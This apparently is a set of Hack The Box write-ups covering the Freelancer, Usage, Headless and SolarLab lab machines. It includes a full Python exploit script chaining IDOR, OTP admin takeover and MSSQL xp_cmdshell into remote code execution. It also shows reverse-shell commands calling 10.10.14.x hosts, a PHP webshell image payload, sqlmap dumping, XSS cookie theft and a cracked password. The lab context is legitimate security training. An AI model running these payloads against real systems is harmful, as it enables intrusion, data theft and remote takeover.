Freelancer | N2L

Content

Initial reconnaissance always uses port scanning and if the http port is open we can perform dirsearch.

naabu --host 10.129.57.150 -v -p - -nmap-cli 'nmap -sV' -o 10.129.57.150.port
 __
 ___ ___ ___ _/ / __ __
 / _ \/ _ \/ _ \/ _ \/ // /
/_//_\/\_,_\/\_,_/_.__\/\_,_/
 projectdiscovery.io
[INF] Current naabu version 2.3.1 (latest)
[INF] Running CONNECT scan with non root privileges
10.129.57.150:49671
10.129.57.150:49667
10.129.57.150:3268
10.129.57.150:53
10.129.57.150:52941
10.129.57.150:9389
10.129.57.150:5985
10.129.57.150:636
10.129.57.150:3269
10.129.57.150:593
10.129.57.150:49670
10.129.57.150:135
10.129.57.150:49672
10.129.57.150:139
10.129.57.150:445
10.129.57.150:80
10.129.57.150:88
10.129.57.150:52945
10.129.57.150:389
10.129.57.150:55820
10.129.57.150:55824
[INF] Found 21 ports on host 10.129.57.150 (10.129.57.150)
[INF] Running nmap command: nmap -sV -p 55820,636,49670,139,49671,3268,135,52945,55824,9389,593,5985,3269,389,445,88,52941,49667,49672,53,80 10.129.57.150
Starting Nmap 7.95 ( https://nmap.org ) at 2024-06-02 20:44 WIB
Nmap scan report for freelancer.htb (10.129.57.150)
Host is up (0.30s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http nginx 1.25.5
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-06-02 18:44:16Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
52941/tcp filtered unknown
52945/tcp filtered unknown
55820/tcp open msrpc Microsoft Windows RPC
55824/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.38 seconds

results of dirsearch to port 80.

dirsearch -u http://freelancer.htb
/usr/share/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
 from pkg_resources import DistributionNotFound, VersionConflict
 _|. _ _ _ _ _ _|_ v0.4.3
 (_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11723
Output: /home/replican/Desktop/Prod/HackTheBox/machine/Freelancer/reports/http_freelancer.htb/__24-06-02_21-13-58.txt
Target: http://freelancer.htb/
Task Completed

there is port 80 let's pentest it directly, there is a validation idor bug. when we register as an employer it won't work because it needs validation. let's access it directly

access it using a freelancer account ( register if not yet )

and input the employer username that you want to activate

and when it has been answered as you registered before, the employer's account will be activated

there is a QR Code feature and when we scan its qr

there is a base64 MTAwMTE which means 10011, like user id. here I am trying to change it to 2 which is in base64

and yes we are now admin. like scanning dirsearch above there is a path /admin we go straight there

but I tried to show tables it turns out this db is here our goal is to spawn xp_cmdshell because this is also windows.

because here we are not sysadmin and xp_cmdshell is disabled with sp_configure. we need to perform privilege using the following command

EXECUTE AS LOGIN = 'SA'
EXEC sp_addsrvrolemember 'Freelancer_webapp_user', 'sysadmin'
-- this turns on advanced options and is needed to configure xp_cmdshell
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
-- this enables xp_cmdshell
EXEC sp_configure 'xp_cmdshell', '1' 
RECONFIGURE

and only after that can we use xp_cmdshell

let's just create a revshell. here I use nc binary

xp_cmdshell 'echo IWR http://10.10.14.88:1337/nc.exe -OutFile %TEMP%\nc.exe | powershell -noprofile''
 xp_cmdshell '%TEMP%\nc.exe 10.10.14.88 1338 -e powershell'

and yes we got this revshell

let's just dump the sql user pw to get the mikasha user shell

IL0v3ErenY3ager this password just RunAs okay guys

import httpx
from bs4 import BeautifulSoup
from pwn import *
from PIL import Image
from io import BytesIO
from pyzbar.pyzbar import decode
import re
URL = "http://freelancer.htb"
# change this to debug if you want to see the csrf logger
context.log_level = 'info'
class BaseAPI:
 def __init__(self, url=URL) -> None:
 self.c = httpx.Client(base_url=url, proxy={
 "http://" : "http://127.0.0.1:8080"
 })
class API(BaseAPI):
 def getCsrfToken(self,path):
 if hasattr(self, 'admin_cookies'):
 r = self.c.get(path, cookies={
 'sessionid' : self.admin_cookies
 }, follow_redirects=True)
 else:
 r = self.c.get(path)
 self.csrf_token = r.cookies["csrftoken"]
 soup = BeautifulSoup(r.text, "html.parser")
 csrf = soup.find("input", {"name": "csrfmiddlewaretoken"})
 if csrf:
 csrf_value = csrf["value"]
 self.csrf_middleware = csrf_value
 debug(f"csrf/{self.csrf_middleware} from path{path}")
 else:
 csrf_value = re.findall(r'csrfmiddlewaretoken: "(.*?)"', r.text)
 if len(csrf_value) >= 1:
 self.csrf_middleware = csrf_value[0]
 debug(f"csrf/{self.csrf_middleware} from path{path}")
 else:
 warn("csrf token/middleware is not found")
 def FreelancerLogin(self, user, password):
 path = "/accounts/login/"
 self.getCsrfToken(path)
 r = self.c.post(path, data={
 "csrfmiddlewaretoken": self.csrf_middleware,
 "username": user,
 "password" : password
 })
 self.freelancer_sessionid = r.cookies["sessionid"]
 info(f"success login freelancer account {user}:{password}")
 def EmployerLogin(self, user, password):
 path = "/accounts/login/"
 self.getCsrfToken(path)
 r = self.c.post(path, data={
 "csrfmiddlewaretoken": self.csrf_middleware,
 "username": user,
 "password" : password
 })
 self.employer_sessionid = r.cookies["sessionid"]
 info(f"success login employer account {user}:{password}")
 def createAccountFreelancer(self, user, passwd):
 path = "/freelancer/register/"
 self.getCsrfToken(path)
 r = self.c.post(path, data={
 "csrfmiddlewaretoken": self.csrf_middleware,
 "username": user,
 "email" : f"{user}@gmail.com",
 "first_name": user,
 "last_name": user,
 "address" : user,
 "security_q1": user,
 "security_q2": user,
 "security_q3": user,
 "job_title": user,
 "years_of_experience": 33,
 "description": user,
 "password1": passwd,
 "password2": passwd
 }, cookies={
 "csrftoken" : self.csrf_token
 }, headers={'Content-Type': 'application/x-www-form-urlencoded'} )
 api.FreelancerLogin(user,passwd)
 def createAccountEmployer(self, user, passwd):
 path = "/employer/register/"
 self.getCsrfToken(path)
 r = self.c.post(path, data={
 "csrfmiddlewaretoken": self.csrf_middleware,
 "username": user,
 "email" : f"{user}@gmail.com",
 "first_name": user,
 "last_name": user,
 "address" : user,
 "security_q1": user,
 "security_q2": user,
 "security_q3": user,
 "company_name": user,
 "password1": passwd,
 "password2": passwd
 }, cookies={
 "csrftoken" : self.csrf_token
 }, headers={'Content-Type': 'application/x-www-form-urlencoded'} , follow_redirects=False)
 info(f"success create employer account {user}:{passwd}")
 def ActivateAccountIDOR(self, userEmployer, password):
 path = "/accounts/recovery/"
 self.getCsrfToken(path)
 r = self.c.post(path, data={
 "csrfmiddlewaretoken": self.csrf_middleware,
 "username": userEmployer,
 "security_q1": userEmployer,
 "security_q2": userEmployer,
 "security_q3": userEmployer,
 }, cookies={
 "sessionid":self.freelancer_sessionid
 })
 api.EmployerLogin(userEmployer, password)
 return "success activate employer account through idor account recovery"
 def GetQrCode(self, idTakeover):
 path = "/accounts/otp/qrcode/generate/" 
 r = self.c.get(path, cookies={
 "sessionid" :self.employer_sessionid
 })
 image = Image.open(BytesIO(r.content))
 qr_codes = decode(image)
 for qr_code in qr_codes:
 match = re.search(r'otp/([^/]+)/', qr_code.data.decode('utf-8'))
 if match:
 otp_string = match.group(1)
 decoded_otp_string = base64.b64decode(otp_string).decode()
 encoded_idTakeover = base64.b64encode(idTakeover.encode()).decode()
 info(f'changing id for otp {otp_string}:{decoded_otp_string} to {encoded_idTakeover}:{idTakeover}')
 self.adminUrl = qr_code.data.decode('utf-8').replace(otp_string, encoded_idTakeover)
 success(f'here the full link {self.adminUrl}, for admin takeover. enjoy it.' )
 else:
 error("No match found")
 def LoginAdmin(self):
 r = self.c.get(f"{self.adminUrl}")
 self.admin_cookies = r.cookies["sessionid"]
 def QuerySqli(self, query):
 path = "/admin/executeRawSql/"
 self.getCsrfToken("/admin")
 return self.c.post(path, data={
 'query': query,
 'csrfmiddlewaretoken' : self.csrf_middleware
 }, cookies={
 'sessionid': self.admin_cookies
 })
 def BypassXpCmdShell(self):
 api.LoginAdmin()
 info(f'admin cookies : {self.admin_cookies}')
 api.QuerySqli("""EXECUTE AS LOGIN = 'SA'
EXEC sp_addsrvrolemember 'Freelancer_webapp_user', 'sysadmin'""")
 api.QuerySqli("""'
-- this turns on advanced options and is needed to configure xp_cmdshell
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
-- this enables xp_cmdshell
EXEC sp_configure 'xp_cmdshell', '1' 
RECONFIGURE
""" ) 
 def RceSqli(self,cmd):
 rows = api.QuerySqli(f"xp_cmdshell '{cmd}'").json().get('result', {}).get('rows', [])
 for row in rows:
 if len(row) >= 1:
 success(row[0])
 ...
if __name__ == "__main__":
 api = API()
 api.createAccountFreelancer('replicannormal', '@Hack4you1337')
 api.createAccountEmployer('replicanlw', '@Hack4you1337')
 info(api.ActivateAccountIDOR('replicanlw', '@Hack4you1337'))
 api.GetQrCode(idTakeover='2')
 isRce = input(info('do u want to get the rce automatically through xp_cmdshell? (y/n)'))
 if "y" or "Y" in isRce:
 api.BypassXpCmdShell()
 while True:
 cmd = input('cmd > ')
 api.RceSqli(cmd)

Page 2

massscan & nmap & dirsearch like usual

/bin/cat masscan_10.129.36.167
<?xml version="1.0"?>
<!-- masscan v1.0 scan -->
<nmaprun scanner="masscan" start="1716243183" version="1.0-BETA" xmloutputversion="1.03">
<scaninfo type="syn" protocol="tcp" />
<host endtime="1716243183"><address addr="10.129.36.167" addrtype="ipv4"/><ports><port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="63"/></port></ports></host>
<host endtime="1716243303"><address addr="10.129.36.167" addrtype="ipv4"/><ports><port protocol="tcp" portid="80"><state state="open" reason="syn-ack" reason_ttl="63"/></port></ports></host>
<runstats>
<finished time="1716243330" timestr="2024-05-21 05:15:30" elapsed="205" />
<hosts up="2" down="0" total="2" />
</runstats>
</nmaprun>
/bin/cat nmap_detailed_all_tcp_ports.txt
# Nmap 7.95 scan initiated Tue May 21 05:15:56 2024 as: nmap -p "80, 22" -sVSC -A -oN nmap_detailed_all_tcp_ports.txt -v2 10.129.36.167
Nmap scan report for 10.129.36.167
Host is up, received echo-reply ttl 63 (0.044s latency).
Scanned at 2024-05-21 05:15:57 WIB for 9s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFfdLKVCM7tItpTAWFFy6gTlaOXOkNbeGIN9+NQMn89HkDBG3W3XDQDyM5JAYDlvDpngF58j/WrZkZw0rS6YqS0=
| 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHr8ATPpxGtqlj8B7z2Lh7GrZVTSsLb6MkU3laICZlTk
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=5/21%OT=22%CT=%CU=34514%PV=Y%DS=2%DC=T%G=N%TM=664BCBA6
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11
OS:NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)
Uptime guess: 42.218 days (since Tue Apr 9 00:02:51 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 51.32 ms 10.10.14.1
2 51.48 ms 10.129.36.167
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue May 21 05:16:06 2024 -- 1 IP address (1 host up) scanned in 9.89 seconds

testing all features. we know sqli in the /forgot_password

Blind sqli boolean based in /forgot_password on port 80 in the email section

sqlmap -r ~/Desktop/Prod/HackTheBox/machine/Usage/req.txt --batch --level 5 --risk 3 --dbms=mysql --dbs --dump

got the dump of all db

lets input to password cracker

john Administrator.hash --wordlist=/home/replican/Desktop/Prod/CyberSecurity/seclists/Passwords/Leaked-Databases/rockyou.txt
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
whatever1 (?)
1g 0:00:00:04 DONE (2024-05-21 06:56) 0.2347g/s 380.2p/s 380.2c/s 380.2C/s runescape..serena
Use the "--show" option to display all of the cracked passwords reliably
Session completed

after sometimes

we know this laravel-admin. now we find the public cve for this and i search "laravel-admin cve" and i found this CVE-2023-24249

convert -size 25x25 xc:none -colors 256 output.png && exiftool -Model='<?=system($_GET["x"])?>' output.png && mv output.png $(cat /proc/sys/kernel/random/uuid).png

after that we upload and intercept and make it .png.php

and we get the shell

and then we revshell

http://admin.usage.htb/uploads/images/exploit.png.php?x=bash%20-c%20%22sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.45%2F1337%200%3E%261%22

and then we go to /home/dash and we get user flag

Last updated 4 months ago


Page 3

as always we scan the port and identify them.

this is my recon tools & command that i used

sudo masscan '-p1-65535,U:1-65535' 10.129.36.41 '--rate=1000' -e tun0
[sudo] password for replican:
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2024-05-18 05:39:02 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.129.36.41
Discovered open port 5000/tcp on 10.129.36.41

after we know the port we scan using nmap

sudo nmap -p '80, 5000' -sVSC -A -oN nmap_detailed_all_tcp_ports.txt 10.129.36.41 -v2
[sudo] password for replican:
Starting Nmap 7.95 ( https://nmap.org ) at 2024-05-18 21:58 WIB
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:58
Completed NSE at 21:58, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:58
Completed NSE at 21:58, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:58
Completed NSE at 21:58, 0.00s elapsed
Initiating Ping Scan at 21:58
Scanning 10.129.36.41 [4 ports]
Completed Ping Scan at 21:58, 0.09s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:58
Completed Parallel DNS resolution of 1 host. at 21:58, 0.05s elapsed
Initiating SYN Stealth Scan at 21:58
Scanning 10.129.36.41 [2 ports]
Discovered open port 5000/tcp on 10.129.36.41
Completed SYN Stealth Scan at 21:58, 0.09s elapsed (2 total ports)
Initiating Service scan at 21:58
Scanning 1 service on 10.129.36.41
Completed Service scan at 21:58, 6.21s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against 10.129.36.41
Initiating Traceroute at 21:58
Completed Traceroute at 21:58, 0.05s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 21:58
Completed Parallel DNS resolution of 2 hosts. at 21:58, 0.04s elapsed
NSE: Script scanning 10.129.36.41.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:58
Completed NSE at 21:58, 1.11s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:58
Completed NSE at 21:59, 0.20s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:59
Completed NSE at 21:59, 0.00s elapsed
Nmap scan report for 10.129.36.41
Host is up, received echo-reply ttl 63 (0.044s latency).
Scanned at 2024-05-18 21:58:50 WIB for 10s
PORT STATE SERVICE REASON VERSION
80/tcp closed http reset ttl 63
5000/tcp open http syn-ack ttl 63 Werkzeug httpd 2.2.2 (Python 3.11.2)
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
|_http-title: Under Construction
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=5/18%OT=5000%CT=80%CU=34143%PV=Y%DS=2%DC=T%G=Y%TM=6648
OS:C234%P=x86_64-pc-linux-gnu)SEQ(SP=F7%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)O
OS:PS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CS
OS:T11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)E
OS:CN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F
OS:=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z
OS:%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=
OS:N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%
OS:CD=S)
Uptime guess: 29.290 days (since Fri Apr 19 15:01:20 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=247 (Good luck!)
IP ID Sequence Generation: All zeros
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 50.28 ms 10.10.14.1
2 50.36 ms 10.129.36.41
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:59
Completed NSE at 21:59, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:59
Completed NSE at 21:59, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:59
Completed NSE at 21:59, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.49 seconds
 Raw packets sent: 38 (2.458KB) | Rcvd: 22 (1.594KB)

after we know port 5000 open we scan using dirsearch

dirsearch -u http://10.129.36.41:5000
/usr/share/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
 from pkg_resources import DistributionNotFound, VersionConflict
 _|. _ _ _ _ _ _|_ v0.4.3
 (_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11723
Output: /home/replican/Desktop/Prod/HackTheBox/machine/Headless/reports/http_10.129.36.41_5000/__24-05-18_22-02-29.txt
Target: http://10.129.36.41:5000/
[22:02:29] Starting:
[22:04:16] 401 - 317B - /dashboard
[22:05:50] 200 - 2KB - /support
Task Completed

after we know /dashboard cant access ( it said unauthorized ) we go to the /support

after a while i notice the site is using cookies also

like usual ctf chall ( cookie, admin page, form without uploading any files) = xss

we directly put our payload xss but got blocked hmm

but our user agent also got reflected. so we can inject our user agent using burpsuite and input our payload xss to steal the cookie ( we assume in the backend the admin auto check our form )

as we see our payload work perfectly. now we opening server using http.server python to see the log requests

after sometimes. we get a response of the cookie admin.

after that we go into the dashboard and use command injection vulnerability ( because there is word system ) we assume this is command

and yep it's command injection when we do ;ls the list of file appeared

directly to revshells

and we get the flag user.

because this is a linux also this is was easy machine i still use c2 framework sliver like usual.

first we see the mail

as we see we need to find system check script and ( create the database init script )

after that we use this

we have access to sudo binary syscheck that is the inside searching script initdb.sh. we can simply make /bin/bash is root script and call it initdb.sh. and we call syscheck with sudo.

after we put our payload we run the syscheck and ( dont forget to create a listener )

and we get the flag.

Last updated 4 months ago


Page 4

sudo masscan -p1-65535,U:1-65535 10.129.44.43 --rate=1000 -e tun0
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2024-05-15 22:36:28 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 6791/tcp on 10.129.44.43
Discovered open port 139/tcp on 10.129.44.43
Discovered open port 445/tcp on 10.129.44.43
Discovered open port 135/tcp on 10.129.44.43
Discovered open port 80/tcp on 10.129.44.43
rate: 0.00-kpps, 100.00% done, waiting -33-secs, found=5
sudo nmap -p '6791, 139, 445, 135, 80' -sVSC -A -oN nmap_detailed_all_tcp_ports.txt 10.129.44.43 -v2
[sudo] password for replican:
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-16 05:40 WIB
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:40
Completed NSE at 05:40, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:40
Completed NSE at 05:40, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:40
Completed NSE at 05:40, 0.00s elapsed
Initiating Ping Scan at 05:40
Scanning 10.129.44.43 [4 ports]
Completed Ping Scan at 05:40, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 05:40
Scanning solarlab.htb (10.129.44.43) [5 ports]
Discovered open port 6791/tcp on 10.129.44.43
Discovered open port 135/tcp on 10.129.44.43
Discovered open port 139/tcp on 10.129.44.43
Discovered open port 80/tcp on 10.129.44.43
Discovered open port 445/tcp on 10.129.44.43
Completed SYN Stealth Scan at 05:40, 0.06s elapsed (5 total ports)
Initiating Service scan at 05:40
Scanning 5 services on solarlab.htb (10.129.44.43)
Completed Service scan at 05:40, 11.17s elapsed (5 services on 1 host)
Initiating OS detection (try #1) against solarlab.htb (10.129.44.43)
Retrying OS detection (try #2) against solarlab.htb (10.129.44.43)
Initiating Traceroute at 05:40
Completed Traceroute at 05:40, 0.05s elapsed
Initiating Parallel DNS resolution of 1 host. at 05:40
Completed Parallel DNS resolution of 1 host. at 05:40, 0.04s elapsed
NSE: Script scanning 10.129.44.43.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:40
NSE Timing: About 99.86% done; ETC: 05:41 (0:00:00 remaining)
Completed NSE at 05:41, 40.24s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:41
Completed NSE at 05:41, 0.20s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:41
Completed NSE at 05:41, 0.00s elapsed
Nmap scan report for solarlab.htb (10.129.44.43)
Host is up, received echo-reply ttl 127 (0.039s latency).
Scanned at 2024-05-16 05:40:42 WIB for 56s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 nginx 1.24.0
|_http-title: SolarLab Instant Messenger
|_http-server-header: nginx/1.24.0
| http-methods:
|_ Supported Methods: GET HEAD
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack ttl 127
6791/tcp open http syn-ack ttl 127 nginx 1.24.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows XP (85%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows XP SP3 (85%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.94%E=4%D=5/16%OT=80%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=66453A22%P=x86_64-pc-linux-gnu)
SEQ(SP=103%GCD=1%ISR=10A%TI=I%II=I%SS=S%TS=U)
OPS(O1=M53CNW8NNS%O2=M53CNW8NNS%O3=M53CNW8%O4=M53CNW8NNS%O5=M53CNW8NNS%O6=M53CNNS)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M53CNW8NNS%CC=N%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 19797/tcp): CLEAN (Timeout)
| Check 2 (port 46928/tcp): CLEAN (Timeout)
| Check 3 (port 17281/udp): CLEAN (Timeout)
| Check 4 (port 59848/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 0s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-05-15T22:41:01
|_ start_date: N/A
TRACEROUTE (using port 6791/tcp)
HOP RTT ADDRESS
1 39.81 ms 10.10.14.1
2 40.15 ms solarlab.htb (10.129.44.43)
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:41
Completed NSE at 05:41, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:41
Completed NSE at 05:41, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:41
Completed NSE at 05:41, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.15 seconds
 Raw packets sent: 93 (7.776KB) | Rcvd: 34 (2.080KB)

after all scan in http port using dirsearch we found nothing useful. so continue

echo '10.129.44.43 solarlab.htb report.solarlab.htb' | sudo tee -a /etc/hosts

after many, afterall we can login smb using anonymous credentials

smbclient -L 10.129.44.43 -U anonymous
Can't load /etc/samba/smb.conf - run testparm to debug it
Password for [WORKGROUP\anonymous]:
 Sharename Type Comment
 --------- ---- -------
 ADMIN$ Disk Remote Admin
 C$ Disk Default share
 Documents Disk
 IPC$ IPC Remote IPC
SMB1 disabled -- no workgroup available
smbclient \\10.129.44.43\Documents
Can't load /etc/samba/smb.conf - run testparm to debug it
Password for [WORKGROUP\replican]:
Try "help" to get a list of possible commands.
smb: \> ls
 . DR 0 Fri Apr 26 21:47:14 2024
 .. DR 0 Fri Apr 26 21:47:14 2024
 concepts D 0 Fri Apr 26 21:41:57 2024
 desktop.ini AHS 278 Fri Nov 17 17:54:43 2023
 details-file.xlsx A 12793 Fri Nov 17 19:27:21 2023
 My Music DHSrn 0 Fri Nov 17 02:36:51 2023
 My Pictures DHSrn 0 Fri Nov 17 02:36:51 2023
